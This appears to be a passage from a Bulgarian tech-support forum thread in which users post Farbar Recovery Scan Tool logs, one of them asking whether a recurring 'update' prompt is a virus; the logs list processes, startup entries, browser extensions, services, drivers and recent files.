      2017-11-14 23:45 - 2016-08-08 16:40 - 000000000 ____D C:\Users\симо7\AppData\Roaming\Mozilla
      2017-11-14 23:45 - 2016-08-08 16:40 - 000000000 ____D C:\Users\симо7\AppData\Local\Mozilla
      2017-11-14 23:40 - 2013-08-22 16:45 - 000000006 ____H C:\Windows\Tasks\SA.DAT
      2017-11-14 18:20 - 2017-09-30 08:48 - 000000089 _____ C:\Users\симо7\Desktop\Нов текстов документ.txt
      2017-11-14 12:40 - 2016-08-10 17:57 - 000000000 ____D C:\ProgramData\Skype
      2017-11-14 08:43 - 2016-08-08 15:35 - 000002213 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
      2017-11-11 11:20 - 2013-08-22 15:25 - 000262144 ___SH C:\Windows\system32\config\BBI
      2017-11-09 12:57 - 2016-08-11 08:32 - 000000000 ____D C:\Users\симо7\AppData\Roaming\DAEMON Tools Lite
      2017-11-01 17:48 - 2016-08-11 08:22 - 000000000 ____D C:\Users\симо7\Documents\CyberLink
      2017-11-01 17:48 - 2016-08-11 08:22 - 000000000 ____D C:\Users\симо7\AppData\Roaming\CyberLink
      2017-11-01 17:44 - 2017-04-12 10:24 - 000000000 ____D C:\ProgramData\CyberLink
      2017-11-01 17:43 - 2016-08-11 08:18 - 000000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
      2017-11-01 17:42 - 2016-08-11 08:20 - 000000000 ____D C:\Users\симо7\AppData\Local\CyberLink
      2017-11-01 17:41 - 2017-02-21 08:47 - 000000000 ____D C:\ProgramData\SUPPORTDIR
      2017-11-01 17:41 - 2016-08-11 08:18 - 000000000 ____D C:\ProgramData\install_clap
      2017-11-01 17:36 - 2016-09-07 13:46 - 000000000 ____D C:\Users\симо7\AppData\Local\CrashDumps
      2017-10-31 21:52 - 2016-08-08 15:44 - 000000000 ____D C:\ProgramData\NVIDIA Corporation
      2017-10-31 21:26 - 2016-08-08 15:44 - 000000000 ____D C:\Program Files\NVIDIA Corporation
      2017-10-31 21:26 - 2016-08-08 15:44 - 000000000 ____D C:\Program Files (x86)\NVIDIA Corporation
      2017-10-30 20:08 - 2013-08-22 17:36 - 000000000 ____D C:\Windows\rescache
      2017-10-29 11:25 - 2017-09-27 08:01 - 000000000 ____D C:\ProgramData\ProductData
      2017-10-28 17:52 - 2013-08-22 17:20 - 000000000 ____D C:\Windows\CbsTemp
      2017-10-27 18:36 - 2016-10-07 15:17 - 000001951 _____ C:\Windows\NvContainerRecovery.bat
      2017-10-27 18:12 - 2016-08-08 15:44 - 005960824 _____ (NVIDIA Corporation) C:\Windows\system32\nvcpl.dll
      2017-10-27 18:12 - 2016-08-08 15:44 - 002587768 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvc64.dll
      2017-10-27 18:12 - 2016-08-08 15:44 - 001766520 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvcr.dll
      2017-10-27 18:12 - 2016-08-08 15:44 - 000449656 _____ (NVIDIA Corporation) C:\Windows\system32\nvmctray.dll
      2017-10-26 17:36 - 2016-08-11 08:18 - 000000000 ____D C:\ProgramData\Temp
      2017-10-25 12:33 - 2016-08-08 15:44 - 007802921 _____ C:\Windows\system32\nvcoproc.bin
      2017-10-22 10:21 - 2016-08-08 16:30 - 000000000 ____D C:\Users\симо7\AppData\Local\ElevatedDiagnostics
      2017-10-22 10:21 - 2013-08-22 17:36 - 000000000 ____D C:\Windows\system32\NDF
      Some files in TEMP:
      ====================
      2017-11-09 17:58 - 2017-11-09 17:58 - 012701760 _____ (Learnpulse) C:\Users\симо7\AppData\Local\Temp\ScreenpressoUpd.exe
      2017-11-15 08:34 - 2017-11-15 08:34 - 030950664 _____ () C:\Users\симо7\AppData\Local\Temp\vlc-2.2.6-win32.exe
      ==================== Bamital & volsnap ======================
      (There is no automatic fix for files that do not pass verification.)
      C:\Windows\system32\winlogon.exe => File is digitally signed
      C:\Windows\system32\wininit.exe => File is digitally signed
      C:\Windows\explorer.exe => File is digitally signed
      C:\Windows\SysWOW64\explorer.exe => File is digitally signed
      C:\Windows\system32\svchost.exe => File is digitally signed
      C:\Windows\SysWOW64\svchost.exe => File is digitally signed
      C:\Windows\system32\services.exe => File is digitally signed
      C:\Windows\system32\User32.dll => File is digitally signed
      C:\Windows\SysWOW64\User32.dll => File is digitally signed
      C:\Windows\system32\userinit.exe => File is digitally signed
      C:\Windows\SysWOW64\userinit.exe => File is digitally signed
      C:\Windows\system32\rpcss.dll => File is digitally signed
      C:\Windows\system32\dnsapi.dll => File is digitally signed
      C:\Windows\SysWOW64\dnsapi.dll => File is digitally signed
      C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed
      LastRegBack: 2017-11-14 10:10
      ==================== End of FRST.txt ============================
      Addition.txt
    • от tany
      От известно време 3-4 пъти месечно "Актуализация" ми иска съгласието да го инсталирам.Аз отказвам но след 6-7 дни пак опит 
      и така вече няколко месеца.Нямам представа дали е вирус,нямам проблеми с компютъра,няма забивания или забавяне.
      Ето за това става въпрос
       
       
      Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version: 24-09-2017
      Ran by Стоянчо (administrator) on DESKTOP-HV76MO6 (24-09-2017 23:11:02)
      Running from C:\Users\Стоянчо\Downloads
      Loaded Profiles: Стоянчо (Available Profiles: Стоянчо)
      Platform: Windows 10 Pro Version 1703 (X64) Language: Български (България)
      Internet Explorer Version 11 (Default browser: Chrome)
      Boot Mode: Normal
      Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
      ==================== Processes (Whitelisted) =================
      (If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
      (Intel Corporation) C:\Windows\System32\igfxCUIService.exe
      (Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
      (Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe
      (TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer_Service.exe
      (Microsoft Corporation) C:\Program Files\Windows Defender\MsMpEng.exe
      (Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
      (Microsoft Corporation) C:\Program Files\Windows Defender\NisSrv.exe
      (Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
      () C:\Program Files\Gramblr\gramblr.exe
      (Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
      (Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe
      (Intel Corporation) C:\Windows\System32\igfxEM.exe
      (Intel Corporation) C:\Windows\System32\igfxHK.exe
      () C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.19.856.0_x64__kzf8qxf38zg5c\SkypeHost.exe
      (Microsoft Corporation) C:\Program Files\Windows Defender\MSASCuiL.exe
      (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
      (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
      (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
      (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
      (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
      (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
      (Skillbrains) C:\Program Files (x86)\Skillbrains\lightshot\5.4.0.10\Lightshot.exe
      (Microsoft Corporation) C:\Windows\System32\dllhost.exe
      (Microsoft Corporation) C:\Windows\System32\InstallAgent.exe
      (Microsoft Corporation) C:\Windows\System32\InstallAgentUserBroker.exe
      (Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.WindowsStore_11708.1001.23.0_x64__8wekyb3d8bbwe\WinStore.App.exe
      () C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.17072.13111.0_x64__8wekyb3d8bbwe\Video.UI.exe
      (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
      ==================== Registry (Whitelisted) ===========================
      (If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
      HKLM\...\Run: [SecurityHealth] => C:\Program Files\Windows Defender\MSASCuiL.exe [629152 2017-03-18] (Microsoft Corporation)
      HKLM-x32\...\Run: [Lightshot] => C:\Program Files (x86)\Skillbrains\lightshot\Lightshot.exe [225944 2016-07-11] ()
      Winlogon\Notify\igfxcui: igfxdev.dll [X]
      HKU\S-1-5-21-3274723310-3931731729-1199849900-1001\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [48138880 2015-10-14] (Skype Technologies S.A.)
      HKU\S-1-5-21-3274723310-3931731729-1199849900-1001\...\Run: [GoogleChromeAutoLaunch_7AC76D272A3C9865EEE36FF327D0728E] => C:\Program Files (x86)\Google\Chrome\Application\chrome.exe [1301848 2017-08-23] (Google Inc.)
      Startup: C:\Users\Стоянчо\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Facebook Gameroom.lnk [2016-12-26]
      ShortcutTarget: Facebook Gameroom.lnk -> C:\Users\Стоянчо\AppData\Local\Facebook\Games\FacebookGameroom.exe (Facebook)
      ==================== Internet (Whitelisted) ====================
      (If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
      Hosts: 127.0.0.1    localhost
      Tcpip\Parameters: [DhcpNameServer] 192.168.1.1
      Tcpip\..\Interfaces\{2b43ead3-416b-49fc-acb0-4ea078b43530}: [DhcpNameServer] 192.168.42.129
      Tcpip\..\Interfaces\{9146b479-0d48-411c-83c0-18542761f0fe}: [DhcpNameServer] 95.87.194.4 192.168.0.1
      Tcpip\..\Interfaces\{a5340c57-e453-40ab-bfb5-c36cda227066}: [DhcpNameServer] 192.168.1.1
      Internet Explorer:
      ==================
      BHO: Lync Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX64\Microsoft Office\Office16\OCHelper.dll [2017-09-19] (Microsoft Corporation)
      BHO: Microsoft OneDrive for Business Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX64\Microsoft Office\Office16\GROOVEEX.DLL [2017-09-19] (Microsoft Corporation)
      BHO-x32: Lync Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\root\Office16\OCHelper.dll [2017-09-19] (Microsoft Corporation)
      BHO-x32: Microsoft OneDrive for Business Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files (x86)\Microsoft Office\root\Office16\GROOVEEX.DLL [2017-09-19] (Microsoft Corporation)
      Handler-x32: mso-minsb-roaming.16 - {83C25742-A9F7-49FB-9138-434302C88D07} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2017-09-19] (Microsoft Corporation)
      Handler-x32: mso-minsb.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2017-09-19] (Microsoft Corporation)
      Handler-x32: osf-roaming.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2017-09-19] (Microsoft Corporation)
      Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2017-09-19] (Microsoft Corporation)
      FireFox:
      ========
      FF Plugin: @videolan.org/vlc,version=2.1.3 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
      FF Plugin: @videolan.org/vlc,version=2.1.5 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
      FF Plugin: @videolan.org/vlc,version=2.2.4 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
      FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect64.dll [No File]
      FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX86\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [2017-09-19] (Microsoft Corporation)
      FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files (x86)\Microsoft Office\root\Office16\NPSPWRAP.DLL [2017-09-19] (Microsoft Corporation)
      FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-29] (Google Inc.)
      FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-29] (Google Inc.)
      Chrome: 
      =======
      CHR DefaultProfile: Default
      CHR Profile: C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default [2017-09-24]
      CHR Extension: (Google Презентации) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2016-09-11]
      CHR Extension: (Google Документи) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2016-09-11]
      CHR Extension: (Google Диск) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-09-11]
      CHR Extension: (YouTube) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2016-09-11]
      CHR Extension: (Video Downloader professional) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\elicpjhcidhpjomhibiffojpinpmmpil [2017-08-04]
      CHR Extension: (Електронни таблици от Google) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2016-09-11]
      CHR Extension: (Farmville 2 Beacon) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\gdkkmnngogaccacpomdhdiahljbjihoc [2017-05-08]
      CHR Extension: (Google Документи офлайн) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-09-11]
      CHR Extension: (Плащания в уеб магазина на Chrome) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-08-22]
      CHR Extension: (Gmail) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2016-09-11]
      CHR Extension: (Chrome Media Router) - C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-08-08]
      CHR Extension: (JobBoxPro) - C:\Users\Стоянчо\Downloads\Нова папка (6)\jobboxpro [2017-01-25]
      CHR Profile: C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\Guest Profile [2017-09-14]
      CHR Profile: C:\Users\Стоянчо\AppData\Local\Google\Chrome\User Data\System Profile [2017-09-11]
      ==================== Services (Whitelisted) ====================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
      R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
      R2 ClickToRunSvc; C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe [4424392 2017-09-08] (Microsoft Corporation)
      R2 gramblrclient; C:\Program Files\Gramblr\gramblr.exe [11867216 2017-09-23] () [File not signed]
      R2 igfxCUIService1.0.0.0; C:\WINDOWS\system32\igfxCUIService.exe [337888 2016-05-03] (Intel Corporation)
      S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [3913064 2017-03-20] (Microsoft Corporation)
      S2 SpyHunter 4 Service; C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe [1042304 2016-05-04] (Enigma Software Group USA, LLC.)
      R2 SynTPEnhService; C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe [255584 2017-08-19] (Synaptics Incorporated)
      R3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [342264 2017-03-18] (Microsoft Corporation)
      R2 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [102816 2017-06-30] (Microsoft Corporation)
      ===================== Drivers (Whitelisted) ======================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
      S3 dg_ssudbus; C:\WINDOWS\system32\DRIVERS\ssudbus.sys [131984 2017-05-18] (Samsung Electronics Co., Ltd.)
      S3 EsgScanner; C:\WINDOWS\System32\DRIVERS\EsgScanner.sys [22704 2016-05-04] ()
      R1 MpKsl1045740a; C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{D1018B7D-39B5-48CE-97D7-3CAF92792300}\MpKsl1045740a.sys [44928 2017-09-24] (Microsoft Corporation)
      R3 netr28x; C:\WINDOWS\System32\drivers\netr28x.sys [2537984 2017-03-18] (MediaTek Inc.)
      R3 rt640x64; C:\WINDOWS\System32\drivers\rt640x64.sys [895224 2016-02-17] (Realtek )
      R3 rtbth; C:\WINDOWS\System32\drivers\rtbth.sys [1219200 2015-09-13] (Ralink Technology, Corp.)
      S3 SDFRd; C:\WINDOWS\System32\drivers\SDFRd.sys [31128 2017-03-18] ()
      S3 ssudmdm; C:\WINDOWS\system32\DRIVERS\ssudmdm.sys [166288 2017-05-18] (Samsung Electronics Co., Ltd.)
      S3 usbrndis6; C:\WINDOWS\System32\drivers\usb80236.sys [23040 2017-03-18] (Microsoft Corporation)
      S0 WdBoot; C:\WINDOWS\System32\drivers\WdBoot.sys [44632 2017-03-18] (Microsoft Corporation)
      R0 WdFilter; C:\WINDOWS\System32\drivers\WdFilter.sys [294816 2017-03-18] (Microsoft Corporation)
      R3 WdNisDrv; C:\WINDOWS\System32\Drivers\WdNisDrv.sys [121248 2017-03-18] (Microsoft Corporation)
      R3 WirelessButtonDriver64; C:\WINDOWS\System32\drivers\WirelessButtonDriver64.sys [30368 2017-06-21] (HP)
      ==================== NetSvcs (Whitelisted) ===================
      (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

      ==================== One Month Created files and folders ========
      (If an entry is included in the fixlist, the file/folder will be moved.)
      2017-09-24 23:11 - 2017-09-24 23:12 - 000012716 _____ C:\Users\Стоянчо\Downloads\FRST.txt
      2017-09-24 23:10 - 2017-09-24 23:11 - 000000000 ____D C:\FRST
      2017-09-24 23:10 - 2017-09-24 23:10 - 002399744 _____ (Farbar) C:\Users\Стоянчо\Downloads\FRST64.exe
      2017-09-20 22:41 - 2017-09-20 22:43 - 000000000 ____D C:\Users\Стоянчо\Desktop\други
      2017-09-15 23:41 - 2017-09-15 23:41 - 017675071 _____ C:\Users\Стоянчо\Downloads\Milk and Honey- Didi(DVD Quality).mp4
      2017-09-13 07:05 - 2017-09-05 08:30 - 000287648 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\sdbus.sys
      2017-09-13 07:05 - 2017-09-05 08:21 - 000189344 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dumpsd.sys
      2017-09-13 07:05 - 2017-09-05 08:12 - 001409048 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\gdi32full.dll
      2017-09-13 07:05 - 2017-09-05 08:12 - 001292880 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\user32.dll
      2017-09-13 07:05 - 2017-09-05 08:12 - 000627080 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\fontdrvhost.exe
      2017-09-13 07:05 - 2017-09-05 08:12 - 000081176 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\win32u.dll
      2017-09-13 07:05 - 2017-09-05 07:53 - 001839872 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\KernelBase.dll
      2017-09-13 07:05 - 2017-09-05 07:52 - 002259760 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\CoreUIComponents.dll
      2017-09-13 07:05 - 2017-09-05 07:50 - 004330920 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\setupapi.dll
      2017-09-13 07:05 - 2017-09-05 07:46 - 004471888 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\explorer.exe
      2017-09-13 07:05 - 2017-09-05 07:45 - 005821496 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\windows.storage.dll
      2017-09-13 07:05 - 2017-09-05 07:45 - 002476712 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d3d10warp.dll
      2017-09-13 07:05 - 2017-09-05 07:45 - 002166808 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iertutil.dll
      2017-09-13 07:05 - 2017-09-05 07:45 - 000750496 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WWAHost.exe
      2017-09-13 07:05 - 2017-09-05 07:45 - 000085784 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\CredentialUIBroker.exe
      2017-09-13 07:05 - 2017-09-05 07:44 - 000569264 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SHCore.dll
      2017-09-13 07:05 - 2017-09-05 07:43 - 000611096 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wer.dll
      2017-09-13 07:05 - 2017-09-05 07:43 - 000359560 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Faultrep.dll
      2017-09-13 07:05 - 2017-09-05 07:43 - 000280480 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WerFault.exe
      2017-09-13 07:05 - 2017-09-05 07:43 - 000169376 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wermgr.exe
      2017-09-13 07:05 - 2017-09-05 07:43 - 000042456 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tbs.dll
      2017-09-13 07:05 - 2017-09-05 07:42 - 002330520 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\combase.dll
      2017-09-13 07:05 - 2017-09-05 07:42 - 000703056 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\winhttp.dll
      2017-09-13 07:05 - 2017-09-05 07:42 - 000519680 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AppXDeploymentClient.dll
      2017-09-13 07:05 - 2017-09-05 07:42 - 000291904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wevtapi.dll
      2017-09-13 07:05 - 2017-09-05 07:42 - 000182688 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AppxAllUserStore.dll
      2017-09-13 07:05 - 2017-09-05 07:41 - 020373408 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\shell32.dll
      2017-09-13 07:05 - 2017-09-05 07:41 - 006761560 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Media.Protection.PlayReady.dll
      2017-09-13 07:05 - 2017-09-05 07:41 - 004671832 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfcore.dll
      2017-09-13 07:05 - 2017-09-05 07:41 - 001106904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfds.dll
      2017-09-13 07:05 - 2017-09-05 07:41 - 001013912 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msvproc.dll
      2017-09-13 07:05 - 2017-09-05 07:40 - 000052768 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\appidapi.dll
      2017-09-13 07:05 - 2017-09-05 07:39 - 001517472 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AppVEntSubsystems32.dll
      2017-09-13 07:05 - 2017-09-05 07:37 - 000583160 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\CoreMessaging.dll
      2017-09-13 07:05 - 2017-09-05 07:28 - 000071680 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usbser.sys
      2017-09-13 07:05 - 2017-09-05 07:28 - 000039424 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\buttonconverter.sys
      2017-09-13 07:05 - 2017-09-05 07:27 - 000128000 _____ (Microsoft Corporation) C:\WINDOWS\system32\mssprxy.dll
      2017-09-13 07:05 - 2017-09-05 07:26 - 002953216 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\win32kfull.sys
      2017-09-13 07:05 - 2017-09-05 07:26 - 000404480 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\werui.dll
      2017-09-13 07:05 - 2017-09-05 07:26 - 000107008 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\hidbth.sys
      2017-09-13 07:05 - 2017-09-05 07:25 - 013844480 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Xaml.dll
      2017-09-13 07:05 - 2017-09-05 07:25 - 001448960 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\GdiPlus.dll
      2017-09-13 07:05 - 2017-09-05 07:25 - 000293376 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\win32k.sys
      2017-09-13 07:05 - 2017-09-05 07:25 - 000154624 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DWWIN.EXE
      2017-09-13 07:05 - 2017-09-05 07:24 - 002199552 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Xaml.Resources.dll
      2017-09-13 07:05 - 2017-09-05 07:23 - 000025088 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\odbcconf.dll
      2017-09-13 07:05 - 2017-09-05 07:22 - 000742912 _____ (Microsoft Corporation) C:\WINDOWS\system32\nshwfp.dll
      2017-09-13 07:05 - 2017-09-05 07:22 - 000079872 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wudriver.dll
      2017-09-13 07:05 - 2017-09-05 07:21 - 006728704 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\twinui.dll
      2017-09-13 07:05 - 2017-09-05 07:21 - 001178624 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Networking.Vpn.dll
      2017-09-13 07:05 - 2017-09-05 07:21 - 000123904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\srpapi.dll
      2017-09-13 07:05 - 2017-09-05 07:21 - 000062464 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ntprint.exe
      2017-09-13 07:05 - 2017-09-05 07:20 - 000370176 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\daxexec.dll
      2017-09-13 07:05 - 2017-09-05 07:19 - 000364032 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msIso.dll
      2017-09-13 07:05 - 2017-09-05 07:19 - 000311296 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ntprint.dll
      2017-09-13 07:05 - 2017-09-05 07:19 - 000181760 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\authz.dll
      2017-09-13 07:05 - 2017-09-05 07:19 - 000134656 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dinput.dll
      2017-09-13 07:05 - 2017-09-05 07:18 - 000524288 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ngccredprov.dll
      2017-09-13 07:05 - 2017-09-05 07:18 - 000471040 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\TpmCoreProvisioning.dll
      2017-09-13 07:05 - 2017-09-05 07:18 - 000452608 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\rasplap.dll
      2017-09-13 07:05 - 2017-09-05 07:18 - 000175104 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dinput8.dll
      2017-09-13 07:05 - 2017-09-05 07:18 - 000100352 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\rasman.dll
      2017-09-13 07:05 - 2017-09-05 07:17 - 000918528 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Networking.Vpn.dll
      2017-09-13 07:05 - 2017-09-05 07:17 - 000852480 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\rasgcw.dll
      2017-09-13 07:05 - 2017-09-05 07:17 - 000586240 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\nshwfp.dll
      2017-09-13 07:05 - 2017-09-05 07:17 - 000307712 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\cryptngc.dll
      2017-09-13 07:05 - 2017-09-05 07:16 - 005961728 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Data.Pdf.dll
      2017-09-13 07:05 - 2017-09-05 07:16 - 000844288 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\rasdlg.dll
      2017-09-13 07:05 - 2017-09-05 07:16 - 000563200 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tdh.dll
      2017-09-13 07:05 - 2017-09-05 07:16 - 000357888 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ActivationManager.dll
      2017-09-13 07:05 - 2017-09-05 07:16 - 000257024 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Phoneutil.dll
      2017-09-13 07:05 - 2017-09-05 07:15 - 001248768 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AzureSettingSyncProvider.dll
      2017-09-13 07:05 - 2017-09-05 07:15 - 000657408 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\netlogon.dll
